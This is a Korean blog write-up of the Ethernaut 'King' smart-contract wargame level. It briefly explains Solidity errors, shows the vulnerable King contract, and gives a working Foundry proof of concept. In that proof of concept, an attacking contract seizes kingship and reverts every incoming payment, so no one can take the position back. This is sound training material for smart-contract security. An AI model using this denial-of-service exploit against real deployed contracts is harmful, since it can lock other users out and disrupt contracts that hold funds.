The Ethernaut : King

세인·2025년 12월 3일

에러

  • Solidity에서는 기본적으로 Panic(unit)Error(string)의 두 기본 타입을 제공하며, 이외에 유저가 직접 커스텀 에러를 정의하는 것이 가능함
  • 에러는 revert 키워드를 사용해 발생시킬 수 있음

문제 코드

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {
    address king;
    uint256 public prize;
    address public owner;

    constructor() payable {
        owner = msg.sender;
        king = msg.sender;
        prize = msg.value;
    }

    receive() external payable {
        require(msg.value >= prize || msg.sender == owner);
        payable(king).transfer(msg.value);
        king = msg.sender;
        prize = msg.value;
    }

    function _king() public view returns (address) {
        return king;
    }
}

로직 정리

  1. prize 변수를 조회해서 얼마 보내야 하는지 확인한다
  2. 새로운 컨트랙트를 생성해서 그 컨트랙트를 통해 prize보다 큰 액수의 돈을 보낸다
  3. 그러면 그 컨트랙트가 King이 되는데
  4. 해당 컨트랙트 내에서 돈을 받는 receive 함수에 revert 로직을 넣어 무슨 행동을 하든 돈이 들어오는것을 막는다
    - 그러면 King 권한을 획득하고 다시는 권한이 뺏기지 않음

PoC

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {Script, console} from "forge-std/Script.sol";
import {King} from "../src/King.sol";

contract Attack{
    address public target;

    constructor(address _target) payable {
        target = _target;
    }

    function beKing() public payable{
        payable(target).call{value: msg.value}("");
    }

    receive() external payable {
        revert("No Hack!");
    }
}

contract PoC is Script {
    address public target = 0xE5a027E485E82B80f68Dda0964e9C013e66B805B;
    uint256 pk = vm.envUint("PRIV_KEY");

    function run() public {
        vm.startBroadcast(pk);
        
        console.log(King(payable(target)).prize());
        uint256 prize = (King(payable(target)).prize())+1;

        Attack attack = new Attack(target);
        attack.beKing{value: prize}();

        vm.stopBroadcast();
    }
}
profile
세종과학기지 세인지부

0개의 댓글